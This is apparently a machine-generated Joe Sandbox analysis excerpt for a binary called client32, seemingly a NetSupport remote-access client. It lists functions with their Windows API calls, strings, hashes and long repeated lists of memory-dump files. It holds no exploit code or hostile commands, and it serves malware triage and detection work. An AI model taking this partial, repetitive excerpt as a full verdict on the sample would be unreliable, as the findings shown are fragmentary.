Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID: Error. NULL capbuf$Error. preventing capbuf overflow
API String ID: 0-3856134272
Opcode ID: 1e46b8443221371624226da598338ba6229d1e1fc81d9cfea01a97a227b660bd
Instruction ID: 1fe7b32914627af8496cb48adae9a6818e21a5ec6a9c865e48965ab0d5b38485
Opcode Fuzzy Hash: 1e46b8443221371624226da598338ba6229d1e1fc81d9cfea01a97a227b660bd
Instruction Fuzzy Hash: CB012BBAA0060997E600CF55F800ADBB3A8DBC037EF04887EEA1ED3501D331B5C18692

Function 1103F5A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 1103F5C0
GetClassNameA.USER32(?,?,00000040), ref: 1103F5D1

Strings

NSSStudentUIClass, xrefs: 1103F5DA

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClassNameWindow
String ID: NSSStudentUIClass
API String ID: 697123166-3999015762
Opcode ID: 595dfbb0837a989aeefab864ab00cf7b534bfe7c967d94dbad88c57516bd4e20
Instruction ID: f3540196bfee1b67275cde463b27ec343e64e467bcf1490198c7234e26ca9954
Opcode Fuzzy Hash: 595dfbb0837a989aeefab864ab00cf7b534bfe7c967d94dbad88c57516bd4e20
Instruction Fuzzy Hash: 41018431E0262BAFDB01DF618948AAEF7A8AB44355F1141B9ED14A7240D730BA11CBD3

Function 11075590 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

DeferWindowPos.USER32(8B000E7F,00000000,98E85BC0,33CD335E,?,00000000,33CD335E,110762E6), ref: 110755D3

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110755A1
m_hWnd, xrefs: 110755A6

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DeferErrorExitLastMessageProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 889670253-2830328467
Opcode ID: 403a41022c9912eac067a6dc579c636d5b9043c953c926d52e382482ec531d80
Instruction ID: b1a09bc10e2e4d70b96ca028f02efad9d897396805b7cef8afcf7b0607f28557
Opcode Fuzzy Hash: 403a41022c9912eac067a6dc579c636d5b9043c953c926d52e382482ec531d80
Instruction Fuzzy Hash: CCF01CB661021DAFC704CE89DC80EEBB3EDEB8C354F008119FA19D3250D630E850CBA4

Function 11017030 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,QueueUserWorkItem), ref: 11017044
SetLastError.KERNEL32(00000078), ref: 11017069

Strings

QueueUserWorkItem, xrefs: 1101703E

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: QueueUserWorkItem
API String ID: 199729137-2469634949
Opcode ID: c81191e4254c18433ccdadfae085f98d5b405293371adbcb053233ac0816d12d
Instruction ID: 9bf2a9a6a872030b854bac6c42a4d86694abd2247f4f61199884c76018ac4c83
Opcode Fuzzy Hash: c81191e4254c18433ccdadfae085f98d5b405293371adbcb053233ac0816d12d
Instruction Fuzzy Hash: E1F08C32A10328AFC310DFA8D844E9BB7A8FB48721F00942AFA4187600C634F8108BA0

Function 110EB3F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30registryCOMMON

Download Yara Rule

APIs

RegDeleteValueA.ADVAPI32(00000000,110FCF56,00000000,nsdevcon64.exe,11190240,?,110FCF56,DisabledHID), ref: 110EB3FF

Part of subcall function 110EABE0: wvsprintfA.USER32(?,00020019,?), ref: 110EAC0B

Strings

Error %d deleting %s, xrefs: 110EB415
nsdevcon64.exe, xrefs: 110EB3F7

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DeleteValuewvsprintf
String ID: Error %d deleting %s$nsdevcon64.exe
API String ID: 4273356409-2392580430
Opcode ID: 0ef8c5a0046495df157eaba78a1fc218dea4b2c922950014af4335056785504f
Instruction ID: 354e63fa6b4daf28927bc78cd7827d252e382455304d7cb5e7625f1e96fe7c16
Opcode Fuzzy Hash: 0ef8c5a0046495df157eaba78a1fc218dea4b2c922950014af4335056785504f
Instruction Fuzzy Hash: 4DE086B7E061257F4611919EACC9DABFB9CDA556E53414136FA08D3201E961DC1082F1

Function 11001080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,?,?,?,?), ref: 110010B7

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001091
m_hWnd, xrefs: 11001096

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitItemLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2046328329-2830328467
Opcode ID: 763521eb4a5bcce99d3069df3d0a853de717b5d3c46341ee94aea9d88fad8ff2
Instruction ID: 87cd78a4c45367f407f7f654ff9088e1ea0403da672f43fd4429235dc73efe54
Opcode Fuzzy Hash: 763521eb4a5bcce99d3069df3d0a853de717b5d3c46341ee94aea9d88fad8ff2
Instruction Fuzzy Hash: E8E01AB6610269AFD714DE85EC80EE7B3ACAB48394F008529FA5997240D6B0E850C7A1

Function 11001040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 11001073

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001051
m_hWnd, xrefs: 11001056

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 819365019-2830328467
Opcode ID: 5b6f476cc93a9633c3a6159f35e46b85fee672744c1b1e919321296da08586a8
Instruction ID: e7bce8408ea30af22c7c9e37b02a909a2b8969894a90aa5e32a2545df5535445
Opcode Fuzzy Hash: 5b6f476cc93a9633c3a6159f35e46b85fee672744c1b1e919321296da08586a8
Instruction Fuzzy Hash: 81E086B5A00359BFD700DE45DC85FD7B3ACEF44365F008429F95987240D6B0E890C7A1

Function 110010D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,?,?,?), ref: 11001103

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010E1
m_hWnd, xrefs: 110010E6

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastPostProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 906220102-2830328467
Opcode ID: b3cb18a41463c206cc406075c70f665bc7ecc2607e61aa3ee61cd031c9f1f6d5
Instruction ID: e8cba8ffff57b5e02d8c13f01095ebfd5696fc597b67c93168e51ef10c66d1f9
Opcode Fuzzy Hash: b3cb18a41463c206cc406075c70f665bc7ecc2607e61aa3ee61cd031c9f1f6d5
Instruction Fuzzy Hash: 88E086B5A0021DBFD710DE45DC85FD7B3ACEB48364F008429FA1487200D6B0F950C7A0

Function 1101D040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

MapWindowPoints.USER32(00000000,?,?,00000001), ref: 1101D06F

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1101D051
m_hWnd, xrefs: 1101D056

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessagePointsProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2663631564-2830328467
Opcode ID: ee724e8942f8ccb687fb29726a928492ae95f6a47c3d9234c7dd78e74dcde95c
Instruction ID: 047a39b9cd929562b8eddd567743981104e2151187dbf3fa623269754fda25f5
Opcode Fuzzy Hash: ee724e8942f8ccb687fb29726a928492ae95f6a47c3d9234c7dd78e74dcde95c
Instruction Fuzzy Hash: EBE0C2B1640319BBD210DA41EC86FE6B39C8B00765F008039F61856180D5B0A88083A1

Function 11001110 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 1100113B

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001121
m_hWnd, xrefs: 11001126

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1604732272-2830328467
Opcode ID: b169394deedd142a8e8174df693b9a7893e6ea24fb8ac344e85c6e7a2fe1568e
Instruction ID: eb1b349d9615b20d52bafe371294ef1adc3cd52a0bcae2a7193b00229b09bde6
Opcode Fuzzy Hash: b169394deedd142a8e8174df693b9a7893e6ea24fb8ac344e85c6e7a2fe1568e
Instruction Fuzzy Hash: E8D05EB6A1032DABD314DA56EC81FD6F3AC9B143A8F04843AFA6952240D671E990C7A5

Function 11001000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 1100102B

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001011
m_hWnd, xrefs: 11001016

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: 7731513588f2987bb0f7e64506c67d34eb0e05a2440d66f3ae8dc3417c7bbca5
Instruction ID: 80bf556fc84983a6a784d5f1d7ace7c4401a69b77ebae34e64854dc5975faffe
Opcode Fuzzy Hash: 7731513588f2987bb0f7e64506c67d34eb0e05a2440d66f3ae8dc3417c7bbca5
Instruction Fuzzy Hash: 02D05BB661032DABD310D655DC45FD6B3DCDB04364F048439FA5557140D675E480C795

Function 11131530 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,00000001,?,11049176), ref: 11131556

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

